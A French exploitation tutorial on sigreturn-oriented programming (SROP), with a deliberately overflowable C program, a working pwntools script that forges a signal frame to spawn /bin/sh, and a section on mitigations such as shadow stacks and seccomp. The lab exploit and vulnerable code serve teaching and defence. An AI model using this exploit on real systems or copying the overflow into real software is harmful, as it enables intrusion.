SROP : exploiter avec un faux cadre de signal
Quand les gadgets sont rares, forgez un cadre de signal. Un appel sigreturn restaure tous les registres depuis la pile d'un coup — construisez-en un avec pwntools pour appeler execve.
Ceci est le huitième tutoriel de la section Techniques d'exploitation. Le guide ROP avait besoin d'un gadget pop pour chaque registre. Parfois, ces gadgets ne sont tout simplement pas là — un petit binaire lié statiquement, une charge dépouillée, un environnement contraint. La programmation orientée sigreturn (SROP) résout cela avec une astuce unique et puissante : abuser du chemin de restauration de signal du noyau pour charger tous les registres depuis la pile d'un coup.
Votre propre binaire, labo jetable. Voir les règles du labo.
Comment sigreturn vous livre tous les registres
Lorsque le noyau délivre un signal, il sauvegarde l'état CPU complet dans un cadre sigcontext sur la pile. Lorsque le gestionnaire retourne, la bibliothèque C appelle l'appel système rt_sigreturn, et le noyau restaure tous les registres depuis ce cadre — rax, rdi, rsi, rdx, rsp, rip, tout.
Point crucial, le noyau ne vérifie pas que le cadre est authentique. Si nous pouvons :
- placer un cadre
sigcontextforgé sur la pile, et - mettre
rax = 15(le numéro de l'appel systèmert_sigreturn) et exécuter une instructionsyscall,
alors le noyau charge chaque registre depuis notre cadre. Nous obtenons le contrôle total des registres à partir de deux ingrédients que la plupart des binaires contiennent.
L'usage classique est de préparer un execve("/bin/sh", 0, 0) direct : pointez le rip du cadre sur une instruction syscall et préchargez rax=59, rdi=&"/bin/sh", rsi=rdx=0.
La cible
Un binaire avec un gros débordement mais délibérément peu de gadgets :
/* vuln.c — grande écriture contrôlée, gadgets minimaux. Compiler en statique. */
#include <unistd.h>
int main(void) {
char buf[64];
read(0, buf, 1024); /* énorme débordement, largement de place pour un cadre */
return 0;
}
gcc -static -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c
Il nous faut deux choses dans le binaire : un moyen de mettre rax = 15, et un syscall. Dans un binaire statique, un syscall ; ret existe, et un pop rax ; ret est courant. Si pop rax manque, SROP dispose de son propre amorçage : de nombreux binaires atteignent rt_sigreturn parce qu'un appel système précédent (comme read) retourne son nombre d'octets dans rax — arrangez-vous pour que read retourne 15 et vous avez défini rax sans aucun gadget.
Construire le cadre avec pwntools
pwntools modélise directement le cadre avec SigreturnFrame, si bien que nous n'empaquetons pas la disposition sigcontext à la main :
# srop.py
from pwn import *
context.binary = elf = ELF("./vuln")
context.arch = "amd64"
pop_rax = 0x4XXXXX # ROPgadget --binary vuln | grep 'pop rax ; ret'
syscall = 0x4XXXXX # ROPgadget --binary vuln | grep ': syscall'
binsh = next(elf.search(b"/bin/sh\x00")) # ou en écrire un dans .bss d'abord
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # 59
frame.rdi = binsh # "/bin/sh"
frame.rsi = 0 # argv = NULL
frame.rdx = 0 # envp = NULL
frame.rip = syscall # après restauration, exécuter un syscall
frame.rsp = 0 # inutile pour execve
payload = b"A" * 72 # décalage jusqu'à l'adresse de retour
payload += p64(pop_rax) + p64(15) # rax = 15 (rt_sigreturn)
payload += p64(syscall) # déclenche sigreturn -> le noyau restaure le cadre
payload += bytes(frame) # le sigcontext forgé depuis lequel le noyau charge
io = process("./vuln")
io.send(payload)
io.interactive()
$ python3 srop.py
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab)
Le déroulé : la fonction retourne dans pop rax ; ret (mettant rax=15), puis dans syscall, qui — parce que rax vaut 15 — est rt_sigreturn. Le noyau restaure chaque registre depuis le cadre que nous avons ajouté, plaçant rip sur un syscall avec rax=59 et les arguments d'execve déjà chargés. Un seul appel système nous a donné le contrôle de tout le banc de registres.
Si « /bin/sh » n'est pas présent
Faites précéder le SROP d'une petite chaîne qui lit "/bin/sh" dans une adresse .bss connue (un cadre SROP peut lui-même préparer un read, puis enchaîner un second sigreturn), ou utilisez mprotect via le cadre pour rendre une région exécutable et sauter vers du shellcode. SROP se compose avec lui-même : chaque cadre peut préparer l'appel système suivant.
Réactiver les mitigations
Pile fantôme / CET
SROP commence toujours par un retour détourné (vers pop rax). Une pile fantôme (-fcf-protection=full) détecte ce retour corrompu et avorte avant que rien de tout cela ne s'exécute. SROP ne change rien au récit de l'arête arrière — il change seulement ce que vous faites après avoir pris le contrôle.
seccomp
Parce que SROP cible si souvent execve, un filtre seccomp qui refuse execve/execveat (courant dans les bacs à sable et les démons modernes) bloque le gain final même si le contrôle des registres réussit. L'attaquant est alors poussé vers open/read/write (une chaîne « open-read-write ») — plus de travail, et visible si vous surveillez les appels système.
/* Croquis : une liste d'autorisation seccomp rejetant execve transforme le shell SROP en EPERM. */
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_load(ctx); /* execve tue désormais le processus */
| Mitigation | Effet sur SROP |
|---|---|
| Canari de pile / PIE | Comme tout ROP : arrête ou cache le détournement initial |
| Pile fantôme / CET | Avorte le retour qui amorce le cadre |
| seccomp (refuse execve) | Le contrôle des registres a bien lieu, mais l'appel système du shell est refusé |
Ce que cela enseigne à un défenseur
- La rareté des gadgets n'est pas une défense. « Il n'y a pas assez de gadgets pour du ROP » est un sentiment de sécurité rassurant mais faux : SROP n'a besoin que de
syscallet d'un moyen de définirrax. Ne considérez pas un petit binaire comme inexploitable. - seccomp a une grande valeur pour les services exposés. Il n'arrête pas la corruption mémoire, mais il plafonne le rayon d'impact — un attaquant avec le contrôle total des registres ne peut toujours pas
execvesi la politique l'interdit. Mettez les parseurs et démons réseau dans un bac à sable. - La protection de l'arête arrière est le fil conducteur. Les piles fantômes / CET (et le PAC ARM) continuent de briser chaque technique de cette série au même endroit : le retour qui l'amorce. Si vous livrez du code natif, c'est la mitigation à prioriser.
Points clés
rt_sigreturnrestaure tous les registres depuis un cadre de pile non vérifié ; en forger un donne le contrôle total des registres.- SROP n'a besoin que d'une instruction
syscallet d'un moyen de mettrerax = 15— bien moins qu'une chaîne de gadgets par registre. - Le
SigreturnFramede pwntools construit lesigcontext; ajoutez-le après avoir déclenchésigreturnet le noyau le charge. - Les piles fantômes arrêtent le retour d'amorçage ; seccomp refuse le gain final
execve. La rareté des gadgets à elle seule ne protège rien.
Ensuite : ret2csu, une réponse différente aux gadgets manquants qui emprunte un gadget universel au code de démarrage du runtime C.